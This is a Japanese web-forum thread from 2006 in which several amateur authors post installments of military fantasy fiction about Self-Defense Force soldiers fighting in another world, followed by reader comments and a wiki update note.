肩に手をかけてようやく柴田の存在に気付いたレプは、焦点の合っていない瞳で柴田を仰ぎ見た。

「ご、ごめんなさい……レプ、戦わなくて……」

消え入るような心細さと情けなさを含んだ声を漏らしたレプに、柴田は今更ながら、この少年の心根の優しさと年齢を痛感した。
とてもではないが彼は戦闘に参加できるような人物ではないのだ。
いったい何故彼を入隊させたのか、柴田にはまるで理解できなかった。
怒りというより、腹の奥底が煮えるような腹立たしさを感じながら、震えが止まらないレプの紅い髪の頭を、柴田はそっと撫でてやった。
人は、肌を通じて感情を読み取ることができる。それは恐怖と不安に苛まれたときの孤独を、最も癒してくれる手段でもある。
昔、妻にそうしてもらったことが、無意識にそうさせていたのかもしれない。
触れたレプの髪は柔らかく、犬のような耳は、子犬のように温かかった。
どこかでこんな頭を撫でてやったような気がする。
ああ、そうだ。小さかった娘の努(ゆめ)の頭だ。
あの子も、この少年のように、底の見えない優しさを持っていた。
しかし部下に対して、こういった感情を抱いてはいけないのかもしれない。
柴田は自戒する意味も込めて、撫でる手を離した。
幸いにも、レプの震えはもう収まっていた。
いつも思ったことをそのまま口にする彼も、どうしていいか分からない様子で柴田を見つめている。
その表情は、戦闘で役に立たなかったことへの悔しさや恥ずかしさに加え、
柴田の思いの片鱗を読み取ってしまったのか、どこか複雑な感情が入り交じっているように見えた。

74 名前: 元1だおー 2006/06/03(土) 16:24:53 ID:???

「いいさ。次にがんばればいい」

柴田はとりあえずそれだけ言った。
レプはそれでもまだ黙っていたので、「俺も一発も撃ってないんだ」と苦笑してもう一言付け加える。

「……わぅ」

「何も恥ずかしいことじゃないさ……」

他人をこんなにも気遣う自分に軽い驚きさえ抱くが、柴田は心のどこかで、この少年に自分自身の若い頃と、
それどころか我が子にまで重ねてしまっていることに気付いていた。
自分は、枯れた抜け殻ではなかったのか。
抜け殻は、まるで失った中身を取り戻そうと、内を満たす存在を求めているのかもしれなかった。
おぞましい。柴田は、より一層自分のことが嫌いになった。







75 名前: 元1だおー 2006/06/03(土) 16:25:48 ID:???

「我が名の契約の下に、来たれ! 異界の獣共っ!」

召喚士の詠唱に、魔の淡い紫の光を宿した魔法陣が蠢く。
高地からほど近い森の中では、夜を徹しての召喚を続けていた。
その進行状況の確認に足を運んだアイギスの傍らのウェリカは、森にひしめく召喚獣の姿に目を丸くした。

「ガルムにコボルトにゴブリン? こんな汚らしい連中をどうするおつもりです?」

召喚獣を戦力に加えるのは分かる。しかし、大抵の場合、召喚獣は量ではなく質に重きがおかれる。
召喚後に御しやすいか、賢いか、そして強いのか。
だが、今この森で目につく召喚獣は皆、下級であったり、さして秀でた能力のない種類のものばかりだった。
数だけみればかなりのものだが、ニホン軍が数で圧して勝てるような相手ではないことはアイギス自身が証明したはずだ。
ウェリカはこのような無意味に等しい戦力のために貴重な召喚士を総動員するのか、分からない。

「文字通り、消耗戦さ」

アイギスは召喚が順調であるのに安心したのか、ややあってウェリカの質問に答えた。

76 名前: 元1だおー 2006/06/03(土) 16:28:45 ID:???

「敵の強力な武器は、極めて効果的に配置され、しかも正確な位置を把握するのは困難だ。
そのため大軍を用いたとしても、接近する前に壊滅的打撃を受ける」

ウェリカは、先刻の高地での戦闘を思い出す。
ロスーキの歴史の裏世界で暗躍し、権力者の最後の切り札とまでされた暗殺・密偵部隊の精鋭約百名が、ほんの数分で壊滅した。
ギルドマスターが、下らない命のせいで無駄死にだとばかりにアイギスに非難の眼差しを向けていたのが、印象的だった。
しかしアイギスは、何かの結論に達したように、どこか結果に満足そうでさえあった。
その答えなのだろうか。

「しかし、あれだけ強力な武器を持っていながら、牽制攻撃さえこちらにしてこないのは何故だと思う?」

アイギスがウェリカに抑揚なく尋ねる。
彼女が首を横に振ると、相変わらずの態度で淡々と説明を続けた。

「敵はもう打って出るだけの余力などないからだよ。時間が経てばたつほど不利になるのが分からない連中ではないはずだしね」

彼は森で蠢く下級召喚獣らを睥睨する。

「絶え間なくこれらを投入しつつ敵の息切れを待つ……」

つまりは、とウェリカが呟く。

「無駄弾を撃たせるための、捨て駒……!?」

アイギスは頷いた。
少しだけ、表情が険しいのがウェリカには分かった。

77 名前: 元1だおー 2006/06/03(土) 16:30:24 ID:???

「遠くない内に、必ずほころびは生じる。でなければ、玉砕覚悟の暴挙に出るか……
だが、あのスダ将軍の様子ではそれはないだろう。
しぶとく抵抗を続けるだろうし、組織的抵抗が終わっても、残党狩りが問題かもしれない。
そのための手はずもうっておかねば……連中はただの落ち武者ではないからね」

ウェリカはアイギスの顔をまじまじと見て感嘆するばかりだった。
一連の偵察命令は、一つも無駄ではなかったのだ。
敵の有効射程、接敵時の対応の仕方、その裏に隠された敵状……
総攻撃はまだかとはやりたてる諸将軍を抑え、静観していたのは、全てこのためだったのだ。
敵の強い部分を打ち崩すより、地味であろうが敵の弱点を突く方が、より効果的なのだ。
この青年の深謀遠慮にウェリカは、この戦の勝利を確信した。
そして、彼のためなら、自分はきっと騎士として命を捧げることができるだろうと強く感じた。
彼は、万の軍勢よりも大切な戦力なのだから。

……アイギス様、あなたは私が命にかえてもお守り致します。






78 名前: 元1だおー 2006/06/03(土) 16:32:07 ID:???

高地中央の最も標高が高い丘の頂上付近に、通信アンテナまで偽装されて構築された司令部では、
須田を始めとする団幹部らがバラキューダで屋根を偽装した狭い半地下陣地内に一堂に会していた。
夜が明け、八時を過ぎ、もう日も高いはずだが、今日は高地全体に霧が立ちこめており、白に染まった視界は見通し距離百メートルもない。
日の光がないため、司令部内は薄暗く、まるで集合した幹部らの心中を表すかのように陰鬱とした雰囲気を醸し出していた。

「本国からの連絡は?」
「現状を維持し、被害を最小に止めよ。現在、脱出用のヘリの準備をしているそうです」
「その命令は突き返したはずだ」

須田は苛立たしげに通信幹部に言う。
部隊の布陣状況が記された高地周辺の即席地図を中央に向きあっている幹部らの表情には、須田を除いてどこか力がなかった。

「……もう、決断すべき時ではないでしょうか?」

須田の表情を窺いながら、一人の幹部が地図の広げられた卓上にそれとなく視線を落としつつ呟く。
次の瞬間、須田が拳で卓を叩き、静かだった司令部に大きな音が響いた。
幹部の何人かが驚いて身を竦める。

「我々を信じる部下を見捨てて日本人隊員だけ脱出するのが、決断だと!?」

鋭い眼光で睨み付けられた幹部達は、萎縮するばかりだった。
須田は明らかに、普通の自衛隊幹部としては異質な存在だった。
この高地へ退却する戦闘で、須田は最後尾で陣頭指揮を執り、先遣隊二百の死者以外は一人も出さなかった。
その時に敵に斬りつけられて負傷した片目に包帯を巻いた姿は、まるで戦国武将のような印象を見る者に与える。
しかし、須田と年齢の近い何人かの幹部は不思議でならなかった。
須田は防衛大学にいた時代、あまり目立つ存在ではなかったし、闘争心はもちろん愛国心に燃えているわけでもなく、
任官してからの風評も、ごく普通の温厚なお父さん幹部のそれでしかなかった。
召喚後に実戦を経験したのが豹変の原因だと噂されているが、誰も怖くてそのことを確かめようとはしない。



79 名前: 元1だおー 2006/06/03(土) 16:32:50 ID:???

「我々の国は……命の選別をするつもりなのか……!?」

「ですが……須田二佐」

遠慮がちに、また違う幹部の一人が発言した。

「マスコミには壊滅状態になったので退却したと伝えれば、事の真偽など……」

その幹部は言い終わらない内に、須田の殺気を孕んだ目に射すくめられ、それ以上何も言えなくなった。

「見捨てる千八百の隊員が、全員日本人だったら、貴様は同じことが言えるのか?」

須田の言葉には遠慮というものがなかった。
誰もが思っていても口にしない心の奥底の思いを指摘された幹部達は、ただ俯くしかなかった。

「俺の部下である以上、日本人だろうが異種族だろうが、一人も無駄には死なせん。見捨てるなど、論外だ」

「降伏は考えられませんか?」

「ネリェントスを知らんのか? 捕虜の命を保障する条約など、この世界には無いんだぞ」

何より既にもう二百の隊員が虐殺されているのだ。降伏はすなわち死を意味する。
敵はこちらを人間だと思っていない。いや、同じ世界の人間同士でさえ、そうなのだ。それが当たり前の世界だというだけなのだ。
進退窮まった幹部達の間に不穏な雰囲気が漂い始めた。
そもそも、最初からこの部隊の日本人隊員の士気は低い。
寄せ集めの即席部隊で、ろくな装備も支援もなく辺境に向かわされるという任務と、
異種族部隊に対する奇異の目を反映してか、どこか不名誉な役割であるかのような意識が隊員に蔓延しているのだ。
しかも、ここで死力を尽くして戦っても、何の名誉も、成し遂げられる目的もない。

80 名前: 元1だおー 2006/06/03(土) 16:35:10 ID:???

いったい何のための戦争なのか、自分達は何のために戦っているのか。
ベトナム戦争の帰還兵のような隊員が増える中、この部隊に命をかけて戦おうとする日本人隊員は当然少なかった。
日本国内では、反戦というよりは厭戦の意識が国民に広まっていた。
戦争は自分達の生活を支える上で仕方がないことだ。
戦争は嫌だが仕方がないから目をつむるしかない。
大陸で異民族が何人死のうが、それは結局元の世界にいたときにテレビでなんとなしに聞いていた、
どこかの紛争地域の話のように他人事に過ぎない。
自衛隊に向けられる国民の視線は、冷ややかなものだった。
巨額の防衛費をまかなうための増税に、多くの国民があえいでいる。
その自分の苦しみと、戦地にいく者への憐憫とが混じり合った、奇妙な視線。
官も民も、日本人全体に、この世界で自分達が何をなすべきか、どうあるべきかなど何一つ考えず、
ただただ自分達の周囲の陰惨な現実に囚われ、それを打開するための気力も持ち合わせていない。
帝国支配を終わらせた功績を外交にどう使うかも分からず、
国内の問題に右往左往していたばかりに、大陸の人々の意識が誤った方向へ進んでしまった。
この世界をより良く、弱者を救うために変えることができた唯一の国であったかもしれないにもかかわらず、
数々の少数民族からの救済を求める声があったにもかかわらず、言葉を濁すだけで取り合おうとしなかった。
現在異種族部隊の中核となっている難民たちの受け入れにしても、
ぼろぼろの木造船で渡航してくる女性や子供を大勢抱えた集団を追い返したり銃撃するほどの覚悟がなかっただけで、
つまりは成り行きで保護することになってしまったのだ。
国家の意志としての弱者救済や、大陸の今後の方針への参画など、ほとんど行われていない。
誰もが流れに身を任せ、狂った歴史が転がる。それが召喚後数年を経た日本という国の、現実だった。

81 名前: 元1だおー 2006/06/03(土) 16:37:45 ID:???

「あなたを解任するよう上に具申してもいいんですよ」
「何だと?」

重苦しい空気の中、情報担当の幹部が、意を決した表情で須田に言い放った。
微かなどよめきが司令部を駆けめぐった。

「あなたの思考は常軌を逸している。ヘリでの脱出は正式な命令なんです。本来なら、突き返すなどありえない話だ」

「俺からしてみれば、部下を見捨てるほうがありえん話だ」

「話のすり替えはよしてください。あなたが上からの命令に従わないということが一番の問題なのです」

須田の眉がぴくりと動いた。

「……罪の意識はないのか? 指揮官として、いや、一人の人間として、恥ずかしくないのか?」

「須田二佐。正直に言いましょう。私には、家族がいます。息子と娘のためにも、私はこんなところで死ねない」

確かに日本人にしては珍しく、正直な物言いだと須田は思った。
そして、例えそれが醜い利己心であろうとも、須田自身も、それを責めることができないのは分かっていた。
いまや名誉も目的も理想も未来も、人々を団結させ、行動させる要素を失った召喚後の日本で、
この大儀なき戦争で命をかける理由を持つ者など、自分以外、いようはずがなく、今の状況におかれたならば、家族を思うのは仕方がないことだ。



82 名前: 元1だおー 2006/06/03(土) 16:38:44 ID:???

「わ、私もです!」
「自分も!」
「そもそも彼らは日本人じゃないんです! 降伏させれば敵も悪いようにはしないのでは……」

口々に言う幹部らに、須田は一縷の望みも崩れていくのを感じた。
須田は、無言でしばらく彼らを見つめる。
降伏させれば無事という考えは苦しい言い訳以外の何物でもないだろう。
間違いなく、憎むべきニホンに味方した反逆者として処刑されるはずだ。
だが、もうそんなことを言っても、彼らは聞き入れはしないだろう。

「……分かった」

彼らを引き留めることが不可能であるという結論に、須田は無力感に襲われた。
指揮官である日本人隊員がいなくなれば、もう、組織的な抵抗ができなくなるのは時間の問題だった。
この部隊の指揮官を命じられた時の使命感と罪悪感は、今はただ無力感と絶望にとって代わられていた。
しかし、それでも須田は譲れない一線があった。

「ただし、私はここに残る。最後まで、彼らと共に戦う」

有無を言わさぬ口調で副官にそう告げると、彼は腕を組んで簡易パイプ椅子にどっしと腰を据えた。

「何故そこまで……!?」

幹部らが信じられないものを見るかのように須田を凝視した。

83 名前: 元1だおー 2006/06/03(土) 16:39:44 ID:???

「私は、あのキレシュト山脈での撤退戦の時、そこの少数民族に救われた……」

あまり多くは話したくはない様子で、須田は呟いた。

「俺はもう、自分を信じてくれている者を裏切ることは、できない……」

ただそれだけ、須田は思いを口にしたきり、黙り込んだ。
幹部達は須田の過去を垣間見て、気の毒に思ったが、しかし、今の自分達には重要なことではないとも思っていた。
自衛官だけでなく、多くの日本人からしてみても、須田のような人間は、異端であるにちがいない。

「そうですか……」

副官はその場を纏めるように腰を上げた。

「これより私、倉本三佐が指揮を執る。ただちに撤収準備にかかれ」

須田は最後まで、席を立とうとはしなかった。
須田は司令部から人気が少なくなっていくのを感じながら、自分を救った少数民族の人々のことを思い出していた。
あの敵の大反攻の中、車輌の数は足りず燃料もなく、まるでかつての南方の旧軍のように敵から発見されぬように、
森を徒歩で撤退する中で出会った山岳少数民族達のことを。
須田は震えが止まらなかった。
自分達を救ってしまったせいで帝国軍に虐殺された彼らの、別れ際に見た最後の笑顔が頭から離れないからだった。




84 名前: 元1だおー 2006/06/03(土) 16:41:20 ID:???


霧が晴れないな、と柴田は双眼鏡から目を離してから思った。
今朝からずっとこうだ。この地域独特の気候なのかもしれない。
昨夜のこともあって、敵も迂闊に忍び寄ってはこないだろうが、索敵装置がないとあっては視界がきかないのは不安なものだった。
これではまるで第二次大戦の時代の陸戦だ。

「何で残ったんですか?」

一人霧を睨んでいると、ルールカの声に、柴田は振り向いた。
腕を組んでこちらを窺うように見つめているダークエルフの若者に、柴田は苦笑する。

「日本に帰ったところで、居場所なんてないんだ。俺はここでいいよ」
「ここは居場所なんてものじゃない。ただの墓場です」

ルールカの言いたいことはなんとなく分かった。
彼は物静かな人物だが、日本という国に報いることを人生の目的にしている。
そんな彼からしてみれば、日本人が犠牲になってしまうのをみるのはあまり良い気分がしないのかもしれない。
彼は最初から、日本人隊員だけが脱出することになるのは予想していたようだった。
全てを納得し、諦観ともとれる覚悟までしている若者を、柴田は心のどこかで恐ろしく感じていた。

85 名前: 元1だおー 2006/06/03(土) 16:41:59 ID:???

「墓場、か」

いいじゃないか、今更、妻子の墓に図々しく入り込む気はない。妻の家族が許さないだろう。
自分に肉親はいない。入る墓もないのなら、ここで死んだ方が誰にも迷惑がかからなくて、むしろ良いとさえ思える。

「そんなこと言うものでない。ルールカ」

エルフの若者が会話に割って入ってくる。
霧に紛れてヘリが日本人隊員らを運び去っていったのが二時間ほど前のことだった。
殺到する日本人隊員らを収容したヘリ部隊は、全員が搭乗しているかなど確認せずに飛び去って行ってしまった。
異種族隊員らに最後に与えられた命令は抗戦し、継戦不能と判断された場合は各自降伏せよ≠ニいう、事実上、彼らを見捨てるというものだった。
救出のヘリが来るとは言っていたが、誰も信じてはいなかった。
千名を超える人間を輸送できるほどのヘリがあれば、わざわざそんなことをせずに弾薬や増強部隊を送り込んできて敵を殲滅しているはずだ。
異種族隊員らの反応は大きく分けて二つだった。
ニホンに裏切られ、忠誠を尽くすことに疑問を感じ始めた者と、敵に一矢報いて討ち死にしてニホンへの忠誠を示そうと思う者だ。
両者の全体比は三対七ほどだった。
この程度で済んだのは、最高指揮官であった須田二等陸佐は運命を共にするとして高級幹部としてはただ一人残ったことや、
異種族隊員の多くが自分達が捨て駒であるということを納得してやってきているという理由がった。
全体としてはできうる限り組織的な抵抗を続けることでまとまったが、本国から見捨てられ、
敗北が確実となった今、さすがの異種族隊員らの士気も落ち込んでいた。
そんな彼らにとって、柴田のような隊員は、心のより所のようなものなのかもしれなかった。



86 名前: 元1だおー 2006/06/03(土) 16:42:35 ID:???

「シバタ殿は我らのためにその身を死地に置いてくださったのだ。感謝こそすれ非難する理由などなかろう」

セティスの実直な性格に内心苦笑しながら、柴田は曖昧に笑みを浮かべた。
同時に柴田は、本当に自分がここに残ったのはそんな死に場所を求めているからなのかと疑問に思った。
ここに来て、自分の中で確かに何かが変わっている。
まるで、壊れていた時計が、再び時を刻み始めたかのような、そんな、生きているという実感がある。
この理解不能な若者達と、そして……

「シバタ分隊長……」

ここに残ったことに、嬉しさと悲しみの混じった思いでこちらを見上げてくる無垢な瞳の少年に、自分は少なからず影響されているのだ。
もう少し、生きていたいのかもしれない。生きて、彼らと歩みたいのかもしれない。
柴田は、自分の身勝手さにうんざりする。
しかし、今は少しだけ、心が楽になったような気がした。

「その……皆いいかね?」

柴田は自分でも分からない内に、トーチカの部下達に向かって声をかけていた。
初めて全員に向かって注目を促した柴田を見て、部下は一斉に顔を上げた。
初めての経験に柴田も戸惑うが、意を決して静まりかえったトーチカ内で口を開く。

87 名前: 元1だおー 2006/06/03(土) 16:44:10 ID:???

「皆とは、これから戦闘を共にする。
その……私は、事務屋で、戦いなんて、ほとんど知らない。至らない指揮官だと思う。だから……」

柴田はレプや、ルールカら幼さを残す顔を見渡した。

「私が死にかかっていても、助ける必要はない。戦いに長けた者は、仲間を、後輩を、助けてやってくれ。まずそのことを、第一に考えて欲しい」

部下達が目を丸くした。
これでいい、と柴田は続ける。

「命を粗末にしてはいけない。君たちには、まだ未来≠ェあるんだから……」

未来、そう、未来だ。
彼らには信じるものに向かっていくための、明日があるのだ。
かつて自分が恐れて手に入れることのできなかった、可能性の数々を。
彼らには、それを失って欲しくない。こんな戦争なんかで、奪われてはいけない。
彼らには、具体的には言えない、何かを成し遂げてくれそうな力があるように思う。
柴田は切に願った。
この命、彼らの未来のために使っても、誰も迷惑はしないだろう。もとより使い道のなかった命だ。
だから、生きてくれ。
生きて生きて、希望を追いかけてくれ。



88 名前: 元1だおー 2006/06/03(土) 16:47:14 ID:???

「シバタぶんたいちょ……」

レプが喜んで良いのか、悲しむべきなのか、考えあぐねているような顔で歩み寄ってきた。
この少年は、裏表のない性格をしているが、人一倍、相手を思いやる心が強いためか、こうして切なげな表情をすることがあるようだった。

「レプ二士」
「は、はい」

柴田はそっと少年の肩に手をかけた。
レプの言いたいことは、見当がついた。

「諦めないさ。みんなで一緒に、帰ろう」

「帰る?」

「そう、日本に帰るんだ」

柴田は内心苦笑した。
死に場所を求めて日本を出た自分が、今は帰還を望んでいる。
いや、本当は望んでなどいない。
帰還したいのではなく、帰還させたいのだ。
彼らを。
この少年達を。
我が子のような、子供を……


89 名前: 元1だおー 2006/06/03(土) 16:48:14 ID:???

「ぶんたいちょ……」

レプが涙を浮かべるが、必死になって堪えている。
その純粋な涙から、今は目をそらさぬように、柴田はレプの顔を見つめ続けた。
もう失いたくない。
それだけが、柴田の胸に沸き上がった。
その感覚は、いつか、どこかで感じたことのあるものだった。
あの夕暮れの隊舎の屋上で、殺される覚悟さえした、あの時の……

「分隊長!」

ルールカが緊迫した叫び声を上げた。
突然のことに、トーチカ内が騒然とした雰囲気に包まれる。
まさか、敵襲!
柴田は霧の海を睨んだ。
何も見えない。
しかし自分には見えないかもしれないが、彼らには見えているのかもしれない。

「何が見える? いったいどうしたんだ?」
「……何か気配がします」
「敵か?」
「それ以外は考えられません」


90 名前: 元1だおー 2006/06/03(土) 16:48:49 ID:???

柴田はルールカの話に頷くと、目配せをして部下達に戦闘準備を促した。
無言でそれぞれの銃を手に取り、トーチカの外へと構える。
固唾を呑んで待ちかまえる中、ルールカの予言した通り、確かに周囲に何かがいるような気配が感じられた。
羽音のような音と共に、人の大きさほどもありそうな大きな鳥のようなものが、霧の中で旋回しているようだった。

「敵の召喚した飛行系召喚獣か……?」

ルールカが腑に落ちない様子で六二式機銃を構えた状態で首を傾げた。

「斥候か……? 一匹だけとは……」

この視界でいったいどうしてそこまで正確に見極められるのかと、柴田はルールカの五感の鋭さに改めて驚かされる。

「どうする?」

指揮官である自分がそんなことを聞いていたのではお先真っ暗かもしれないが、
柴田は今は恥や外聞を気にしている場合ではないと、最善と思われる判断をした。

91 名前: 元1だおー 2006/06/03(土) 16:50:00 ID:???

ルールカはしばらく黙考し、

「どうやら近くに降り立ったようです。……相手は一人ないし二人。捕獲しましょう」

と答えた。


<続く>

92 名前: 元1だおー 2006/06/03(土) 16:56:00 ID:???

結構がんばったので……楽しんでもらえたなら幸いです。

93 名前: 名無し三等兵 2006/06/03(土) 17:04:56 ID:???

ま、資源と供給ルートの確保だけしてくれればいいよ。

94 名前: 名無し三等兵 2006/06/03(土) 17:06:19 ID:???

>>92乙
面白いです。つづきwktk

95 名前: 名無し三等兵 2006/06/03(土) 17:22:31 ID:???

Sugeeeeeeeeeee!!

96 名前: 名無し三等兵 2006/06/03(土) 17:23:51 ID:???

nagai

97 名前: 名無し三等兵 2006/06/03(土) 17:24:21 ID:???

えーと、長すぎ。

98 名前: 名無し三等兵 2006/06/03(土) 17:37:19 ID:???

お兄ちゃん、ボクおとこのこだよ。それでもいいの?
まで読んだ、長すぎ。

99 名前: 元1だおー 2006/06/03(土) 17:40:18 ID:???

>>98
いったいどこにそんな文章がw

100 名前: 名無し三等兵 2006/06/03(土) 18:04:05 ID:???

冒頭に付けてくれるとうれしかったもの。
・これまでのおはなし
・タイトル
・話数

101 名前: 名無し三等兵 2006/06/03(土) 18:05:18 ID:???

元1だおーって自衛隊辞めたの?

102 名前: 名無し三等兵 2006/06/03(土) 18:25:02 ID:???

>>92
いやー面白いね面白すぎる
続きが楽しみ

元ネタって、もしかして
取り残された南ベトナム政府軍と
最後まで行動をともにした
日系とインディアンの
グリーンベレーの話ですか?(うろ覚え)

103 名前: 名無し三等兵 2006/06/03(土) 18:56:37 ID:D30SKizV

>>92
文章うめえwwwwwwwwww

104 名前: 名無し三等兵 2006/06/03(土) 18:57:15 ID:???

すまん、ageてしまったorz

105 名前: ヨークタウン 2006/06/03(土) 19:30:59 ID:???

1だおーさんお疲れ様です。
それにしても、文章が結構長めですが、それを
差し引いてとても面白かったです。

自分も早く続き書かないと(;´∀`)

106 名前: 翡翠(星砂) ◆CabqPGtp5s 2006/06/03(土) 19:46:33 ID:???

元1だおー氏、キタ━(゚∀゚)━ !!

107 名前: 政府広報課改め大本営発表 ◆F2.iwy/iJk 2006/06/03(土) 20:38:24 ID:???

元1だおー殿、乙カレー
一気に読ませていただきますた。



108 名前: 名無し三等兵 2006/06/03(土) 21:52:39 ID:???

. . . . . .
良いなあ、これ!

素晴らしい! 素晴らしい……保護欲とはこういうものか。

109 名前: 翡翠(星砂) ◆CabqPGtp5s 2006/06/03(土) 22:04:24 ID:???

そいじゃ繋ぎで私も投下です。m()m

110 名前: 翡翠 ◆CabqPGtp5s 2006/06/03(土) 22:06:16 ID:???

顔を化け物の様に化粧した男は、
騎士の戦闘不能と、私の無事を認めたのか、
私こと「今井」が
男の目を覗き込んだ次の瞬間には、最寄の敵に向かって駆けていってしまった。

銃弾に倒れた騎士の馬が、悲しげに、鳴いた。

足元に転がっている騎士と、主を失った馬。
ほんの数瞬、この主従に申し訳無さめいたものを感じながら、
今井は、男の後を追った。
男は、追って来る今井の方に1度も振り返らぬまま、
1体1体、正確に、迅速に、最寄の敵を仕留めていく。

( まるで猛禽類のようだ )

直感に導かれるまま男を追って跳ねた今井と男の周囲には、
逃げ惑う市民と、怖気づいた兵とで、幾らでも肉の壁があった。
その肉の壁の合間を男は、実に鮮やかにすり抜けて「敵」の死角へ死角へと回ってゆく。
そんな「男」が、最初の出会いから数えて6人目の「敵」を倒した頃、
ようやく周囲の「敵」は何か「猛禽類めいた人間」が居る事に気付き始めた。

111 名前: 翡翠 ◆CabqPGtp5s 2006/06/03(土) 22:32:45 ID:???

敵の亜人種1人が、男の背後に踊り出る。
男の背後を追う今井が、亜人種の背後を取る形になった。
そのまま駆けながら、最初の騎士から奪った剣で切り倒していく。
というか、背中を切りつけられた衝撃に振り向く亜人種の側面に、
盾と肩から体当たりをして、小柄な亜人種をケシ飛ばしていく。

そんな感じで今井は、騎士を1人、兵士を1人、亜人種を3人、倒していった。
もっとも「男」の方は、今井が5人を倒す間に15人近くを倒していが。

周囲は、逃げ惑う市民と、最早流れ弾も気にしていない兵達と、
仲間が撃たれてから始めて狂乱して逃げ出す敵とで、ごった返していた。
まるで魔女の大釜の底の様な悲惨な惨状だった。
既に倒れて動かない市民は、最早数え切れない。
ズタ肉の様になった敵の人馬の死体は、倒れた隊員の5倍から10倍近くもあったかもしれない・・。

大半の隊員は、銃を構えたまま、九の字になっていた。
恐らく、最後の瞬間まで単独で抵抗し、背後から襲われ、倒れたのだろう。
今井は、男を追いながら、
無念にも倒れた隊員を思い、怒りが込み上げてくるのを禁じえなかった。
始めての遭遇戦が、こんな混沌の戦場ではなく、会戦に近い整然としたものなら、
部隊単位の統制された弾幕により、無傷に近い勝利を得られていただろものを。

112 名前: 翡翠 ◆CabqPGtp5s 2006/06/03(土) 22:38:27 ID:???

「今井」が、「男」を追いつつ倒した5人目は、騎士であった。

最初に倒した1人目から4人目までは、殆ど完全な不意打ちだった。
5人目の騎士もまた、今井の先を行く「猛禽の様な男」に目を奪われ、
彼を倒しに行こうとした瞬間を、今井に襲れたのだった。

5人目の相手「騎士」は、小さな斧のついた長柄の槍、を手にしていた。
今井が望んだ武装は、棚ぼた式に手に入る事となった。

男の方を向いている騎士の兜目掛けて、今井が剣を力任せに投げつける。
酷い金属音がして、剣と兜が弾き飛ばし合った。
騎士は衝撃に大きく体をブレさせてたが、落馬していなかった。
今井が盾を力任せに投げつける。
酒場の金属の塵箱の蓋が喧しく喚く様な音がした。
しかし信じ難い事に、それでも(最早目前の)騎士は、落馬しない。

仕方なく今井は、騎士のマントを掴んで、彼を馬から引き摺り落とした。
騎士が抵抗なく地面に引き摺り落とされる。騎士の重い鎧が嫌な音を立てたが気にしない・・。

これで5人目。

流石に、もう加減がわかったので、頭は蹴り上げなかった。
・・どうせ、ノビているに決まっている・・。

113 名前: 翡翠 ◆CabqPGtp5s 2006/06/03(土) 22:43:15 ID:???

落ちている長柄の武器を手にし、剣を鞘に仕舞い、盾を回収した。
倒れている騎士が戦闘不能かどうか、一瞬だけ確認のために見下ろす。
相手は、金髪の若い騎士だった。
柔らかげな艶良い髪から何かの花の様な良い匂いが、今井の鼻側に届く。
・・・匂いに触発されたのか、
何故か彼の母と彼の団欒が脳裏に浮かぶ。

「・・すまん。」

申し訳無げにつぶやいて・・駆け去ろうとした。
すると、何か、酷い音が、した。
何の前触れもなく、今井の視界の総てを、黒い馬の体が埋め尽くしている。
黒い馬の体の先の方、
若い騎士の顔面のあった所に、馬の体が首の付け根までめり込んでいる。
・・今井の顔に、何かの影がさしている。
思わず、見上げる。

そこには、筋骨隆々の、汚らしい人喰い鬼が、いた。

114 名前: 翡翠 ◆CabqPGtp5s 2006/06/03(土) 22:50:08 ID:???

繋ぎ終了です。m()m諸師の皆様の投下を期待しつつ、オチまふ。

115 名前: 名無し四等水兵 2006/06/03(土) 23:19:45 ID:???

新スレ初書きかな?

うん。皆さん上手ですね。
参考になる…。

>>114
ちょうど面白そうな所でw
楽しみな故、明日もこなければ。

116 名前: 名無し三等兵 2006/06/03(土) 23:21:24 ID:???

乙です

117 名前: 名無し三等兵 2006/06/04(日) 00:29:33 ID:???

続きまだ?>1だおー

118 名前: Wiki業務連絡 ◆ZYEMgbhZg2 2006/06/04(日) 00:57:37 ID:???

両作者様、投下乙であります。
以下、敬称略。
<済>
星の国の勇者[ヨークタウン ◆r2Exln9QPQ]15〜16話UP
アザーワールド・トゥルーパーズ[228]01〜04話UP/05話はUP済みだが編集保留(長い)
<次回>
アザーワールド・トゥルーパーズ[228]05話編集/06話UP(分家/ラノベスレ)
異世界シリーズ[228]01〜02話UP
星の国の勇者[ヨークタウン ◆r2Exln9QPQ]17〜18話UP
<備考・業務連絡>
「星の国の勇者」が途中抜けているとWiki談話で指摘して頂いたのだが、
どの辺りが抜けてるのか分からず困っている。
具体的な範囲を指摘して頂けると助かる。(03話〜04話の辺り等)

最近、セリフの前後に空行入れて編集してるのだが、どうだろうか?

次の更新は明日の夕方〜夜頃を予定。では、焼酎飲んで寝る。
良い休日を

119 名前: 名無し三等兵 2006/06/04(日) 01:05:55 ID:tWgPLPcN

おお。
乙ですた。

120 名前: エビチリ ◆NYKahXpmWk 2006/06/04(日) 16:55:18 ID:aBIqGBhK

いつの間にやら新しいスレが立っていましたね。
2ヶ月ぶりに投下します。

121 名前: エビチリ ◆NYKahXpmWk 2006/06/04(日) 16:56:51 ID:aBIqGBhK

レーベンスの防人たち 第2話(1)
「説明をしてくれ。ここは何処なんだ?お前達・・・いや、あなた方の事を」
高倉は言葉を丁寧に直しつつメイアに聞いた。この状況はここにいる自衛隊員の全て
が望んでいた事だった。
目の前に現れた違う風景、化け物に甲冑の美女、旧軍の戦車と王女。余りにも理解で
きない要素が多過ぎるからだ。
だが、メイアは何かを感じ取った様に遠くを見る。
「説明は後にしましょう。まだゴンズが残っています」
「ゴンズ?」
「あなた達が戦ったモンスターの事です」
そうやり取りをするとメイアはゴンズがいる方向へ駆けて向かう。
「キッカワ。メイアを追って」
三式中戦車の砲塔に立つソフィーがキューポラの扉を開けて指示する。すると、そこからカ
ーキ色の軍服に戦車兵特有のヘルメットを被った大尉の男が上半身を出した。
「本物の旧軍か…」
高倉は息を呑んだ。そこには紛れもない旧日本陸軍の将校がいたのだ。
三式は車長であろう大尉の指示を受けながら後進で来た道を戻る。宿営地の中では戦
車の行ける所が限られるからだ。
「ボサっとするな!警戒を緩めるな!」
我に返った高倉は部下も三式や甲冑美女に王女に我を忘れていた。そんな部下を叱咤
すべく高倉は荒い口調で命ずる。
(ええい、もうどうにでもなれ!)
高倉は心中では自棄になっていた。もはや自分の理解が出来ない事が今も続いて起きて
いる。ならば悩んだり、無理に理解するのを今は止めようと高倉は考えた。

122 名前: エビチリ ◆NYKahXpmWk 2006/06/04(日) 16:57:53 ID:aBIqGBhK

レーベンスの防人たち 第2話(2)
吉川率いる第2中隊は1匹のゴンブを追っていた。ゴンズは宿営地内のテントを破って走
り、時には追う吉川達へ突進するかの様な態勢で威嚇する。それに第2中隊は手を焼い
て倒せずにいた。
